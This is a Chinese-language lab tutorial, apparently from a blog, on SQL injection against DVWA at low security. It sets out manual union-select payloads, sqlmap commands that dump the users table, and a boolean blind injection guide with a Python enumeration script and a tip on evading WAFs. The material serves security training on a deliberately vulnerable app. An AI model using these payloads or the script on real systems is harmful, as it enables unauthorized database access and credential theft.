DVWA -SQL Injection (low)

本文介绍了DVWA中SQL Injection(low)级别的手工注入和使用sqlmap工具进行注入的详细步骤。包括判断注入类型、猜测字段数、获取用户信息、表名、字段名和字段值等,并演示了sqlmap如何探测注入点、枚举数据库、表、列及转储数据。

low级别(手工注入 和 sqlmap工具注入)
**

手动注入

**

1.判断是否存在注入,注入的类型是字符型还是数字型
输入1:(输入1-5都会返回正确的值)在这里插入图片描述
输入 1’(发现报错,存在注入漏洞)

在这里插入图片描述

Id是被’ ‘包括起来的,是属于字符型注入

闭合 输入 1’ and ‘1’=’1(查询成功,会返回正确的值)
在这里插入图片描述
输入1’ or ‘1’=’1 时,因为这个式子是永真的,返回了所有结果。

在这里插入图片描述

2.猜测sql查询语句中的字段数
1’ order by 3#
在这里插入图片描述
1’ order by 2#
在这里插入图片描述

3.确定显示的字段顺序

0’ union select 1,2#
在这里插入图片描述

4.获取当前用户,数据库,版本号
0’ union select 1,concat(user(),database(),version())#

在这里插入图片描述

5.获取表名
0’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#
在这里插入图片描述
6.获取字段名
0’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
在这里插入图片描述

7.获取字段值
0’ union select 1,group_concat(user,0x3a,password) from users#
在这里插入图片描述
在这里插入图片描述
**

sqlmap工具注入

**

用到的参数
-u URL, --url=URL :指定URL
–cookie=COOKIE :HTTP Cookie header值
–dbs :枚举数据库管理系统数据库
–tables :枚举DBMS数据库中的表
–columns :枚举DBMS数据库表列
-D DB :要进行枚举的指定数据库名
-T TBL :DBMS数据库表枚举
-C COL :DBMS数据库表列枚举
–dump :z转储数据库表项

1.查看有无注入点
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
在这里插入图片描述
有一个302跳转,跳转到的是登录页面,所以这个时候需要用cookie进行会话维持,然后用burpsuite或者f12,找到cookie
在这里插入图片描述
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=jp1444bfo7d8didsl5m6vn1aho”
在这里插入图片描述
在这里插入图片描述
存在注入

2.获取数据库名
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=jp1444bfo7d8didsl5m6vn1aho” --dbs
在这里插入图片描述
3.获取dvwa数据库中表名
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=jp1444bfo7d8didsl5m6vn1aho” -D dvwa --tables
在这里插入图片描述
4.获取dvwa数据库中users表中的字段名
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=jp1444bfo7d8didsl5m6vn1aho” -D dvwa -T users --columns
在这里插入图片描述
5.获取user,password的值
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=jp1444bfo7d8didsl5m6vn1aho” -D dvwa -T users -C user,password --dump
在这里插入图片描述
6.获取所有字段值
sqlmap -u “http://192.168.6.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=jp1444bfo7d8didsl5m6vn1aho” -D dvwa -T users --dump
在这里插入图片描述

### 布尔盲注手工注入获取表名教程 布尔盲注是一种通过观察页面返回结果是否发生变化来判断注入点是否存在漏洞的方法。在DVWASQL Injection (Blind)模块中,可以通过构造特定的SQL语句,结合布尔条件判断数据库中的表名。 以下是一个完整的布尔盲注手工注入流程,用于获取DVWASQL Injection (Blind)模块的表名: #### 1. 确定注入点 首先需要确认目标参数(如`id`)是否可以进行布尔盲注。可以通过简单的SQL语法测试,例如: ``` http://dvwa/vulnerabilities/sqli_blind/?id=1' AND '1'='1&Submit=Submit# ``` 如果页面正常显示内容,则说明`AND '1'='1`条件为真;尝试: ``` http://dvwa/vulnerabilities/sqli_blind/?id=1' AND '1'='2&Submit=Submit# ``` 如果页面内容发生变化(如无数据返回),则说明`AND '1'='2`条件为假。这表明注入点存在漏洞[^1]。 #### 2. 获取数据库名 在确定注入点后,可以进一步测试数据库名。假设已知数据库名为`dvwa`,可以通过以下语句验证: ``` http://dvwa/vulnerabilities/sqli_blind/?id=1' AND database()='dvwa' --+&Submit=Submit# ``` 如果页面正常显示内容,则说明当前数据库名为`dvwa`。 #### 3. 枚举表名长度 为了获取表名,首先需要知道表名的长度。可以通过以下语句逐步枚举: ``` http://dvwa/vulnerabilities/sqli_blind/?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1))=N --+&Submit=Submit# ``` 将`N`从1开始递增,直到找到正确的表名长度。例如,如果表名长度为5,则上述语句中的`N`应为5时页面正常显示[^2]。 #### 4. 枚举表名字符 在确定表名长度后,可以逐个字符枚举表名。使用`SUBSTRING()`函数提取表名的每个字符,并结合`ASCII()`函数将其转换为ASCII码值进行比较。例如: ``` http://dvwa/vulnerabilities/sqli_blind/?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=97 --+&Submit=Submit# ``` 上述语句中,`LIMIT 0,1`表示获取第一个表名,`SUBSTRING(...,1,1)`提取表名的第一个字符,`ASCII(...)=97`判断该字符是否为`a`(ASCII码值为97)。通过不断调整字符位置和ASCII码值,可以逐步拼出完整表名[^3]。 #### 5. 获取所有表名 重复步骤3和步骤4,通过修改`LIMIT`参数获取不同表名。例如: ``` http://dvwa/vulnerabilities/sqli_blind/?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),1,1))=98 --+&Submit=Submit# ``` 上述语句中的`LIMIT 1,1`表示获取第二个表名。 #### 示例代码 以下是基于布尔盲注的手工注入流程示例: ```python import requests url = "http://dvwa/vulnerabilities/sqli_blind/" cookies = {"PHPSESSID": "your_session_id", "security": "low"} payload_template = "?id=1' AND {} --+" # 检查表名长度 def check_table_length(limit): for length in range(1, 50): # 假设表名长度不超过50 payload = payload_template.format(f"LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {limit},1))={length}") response = requests.get(url + payload, cookies=cookies) if "User ID exists in the database." in response.text: return length return None # 枚举表名字符 def get_table_name(limit, length): table_name = "" for i in range(1, length + 1): for char_code in range(32, 127): # ASCII可打印字符范围 payload = payload_template.format(f"ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {limit},1),{i},1))={char_code}") response = requests.get(url + payload, cookies=cookies) if "User ID exists in the database." in response.text: table_name += chr(char_code) break return table_name # 主程序 for limit in range(3): # 获取前3个表名 length = check_table_length(limit) if length: table_name = get_table_name(limit, length) print(f"Table Name: {table_name}") ``` ### 注意事项 - 在实际操作中,需要根据目标环境调整SQL语句。 - 如果目标系统启用了WAF或安全机制,可能需要对注入语句进行编码或变形以绕过检测。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值